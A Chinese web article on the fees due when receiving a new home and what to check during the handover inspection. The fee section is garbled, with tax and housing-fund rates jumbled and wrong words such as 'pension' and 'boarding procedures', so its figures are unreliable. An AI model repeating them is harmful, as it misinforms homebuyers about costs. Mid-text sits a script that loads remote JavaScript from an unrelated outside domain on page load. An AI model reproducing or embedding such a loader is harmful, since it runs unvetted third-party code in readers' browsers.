新房交房需要多少钱还需要注意什么

新房交房需要多少钱？需要：必要的契税，住房所需要的维修基金，房屋产权的登记费用，证照印花所要缴纳的税，工本费这五个方面来分析。1、契税：对于契税新房交房需要多少钱，共同住房标准按1.5%征收。如果是个人第一次购买90平方米以下的住房的时候，需要按照1%的住房公积金额度征收：住房公积金按2%的额度标准存入，个人住房说需要的基金都是按非住宅维修基金按1%的额度标准存入，一般城市征收契税有4%，但是有些城市点不同，应在当地进行。要是非共同住房契税按4%征收，2、住房维修基金：对建设维修基金新房交付需要多少钱：在商品房销售的时候，购买房屋的人要与卖房子的单位一同订制有关维修基金交纳与应用的相关协议，当然卖房子的一方向你（缴纳住房维修金的）收取的抚恤金，抚恤金是由所有的用户以及单位所共同拥有的，却不包括在住宅销售收入中。专项基金遵循“钱与房相行相随”，在进行房屋转让，房主剩下的财产也会转移到房屋新的产权所有人的手中。3、房屋产权登记费，对于房屋产权登记费新房交房需要多少钱：有的开发商是在办证时刚收的，住宅是80元/套，非住宅550元/件。4、证照印花税：对于证照印花税新房交房需要多少钱：5元/本。5、工本费：在工本费上新房交房需要多少钱：10元/本。而且这些仅仅是按规章制度进行的。除此之外在北方的城市，还会有供暖费需要缴纳：如果在办理入住手续正逢6月左右，在绝大多数的情况下，还需要提前支付供暖今年季度的费用，以及其他相关费用。例如包括：在现场办理登机手续的专用停车位也可能是停车费，除了装修保修金等。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

新房交房需要注意什么 小白业主必看！

有了房子才有家，现在年轻人买一套房子不容易，终于有了自己的新房，就要结束漂泊，过上有家的温馨日子，这时可不能在收房时马虎，为生活添上阴霾，那么作为新手业主，新房交房需要注意什么呢？1.需要知道的相关文件首先，在物业部门可以检查一些重要的资料信息，那么新房交房需要注意什么资料？主要有些以下五种：首先最重要的是《住房质量保证书》，另外《住宅使用说明书》有需要可以复印，一份《竣工验收备案表》也是比不可少的、还有就是一张管道分布竣工图（水，强电，弱电，布局）、一张面积实测表，这个流程一般只需十几分钟。2.核实面积，合同及价钱多退少补等问题。当然是确认销售合同图纸和做法是否一致，原设计的布局是不一样的，房子面积测量是否是由一些房地产部门的现场实际测量，看是否与合同一致，有较大差异一定要交涉，以双方签署的合同为准。一般这流程也不麻烦，时间为30至40分钟。3.验房新房交房需要注意什么时候才应该缴纳费用，在你阅读完资料后可以简单地去检查房子，暂时先不要缴纳物业费及相关费用，此刻会督促你去缴纳，你可以与他们进行谈判后，验收后，再缴费；总之不让验收就不交房了。新房交房需要注意什么最重要？当然是实地验房；详细检查房子的质量，门窗要完好，没有破裂，阳台也不能忽视（阳台裂缝风险）。检查墙壁的平整度，要不渗水，是否有裂缝。检查尤其是一些墙壁不能有一丝的水，尤其是在厨房清洁的顶面，墙面和其他地方之间，如果，它必须迅速查明原因。仔细检查地面，仔细检查是否蛋壳裂开的地面条件。如果空鼓，必须伴随着物业工作人员迅速纠正指示，或将是非常简单的装修打穿地板局，阻碍居委会。打开水龙头查看有无堵漏，尽可能使水龙头开大点。验收下水管道，保证没有堵塞，没有渗水现象。测量房屋各个尺寸，记录下来是否有误。完成这些工作，如果没问题的话，就可以交钱收房了。看完上面这些，业主们应该都清楚新房交房需要注意什么了吧？如果还没明白，赶快多看两遍吧！为了早日搬入新家，细心点验房总是没错的！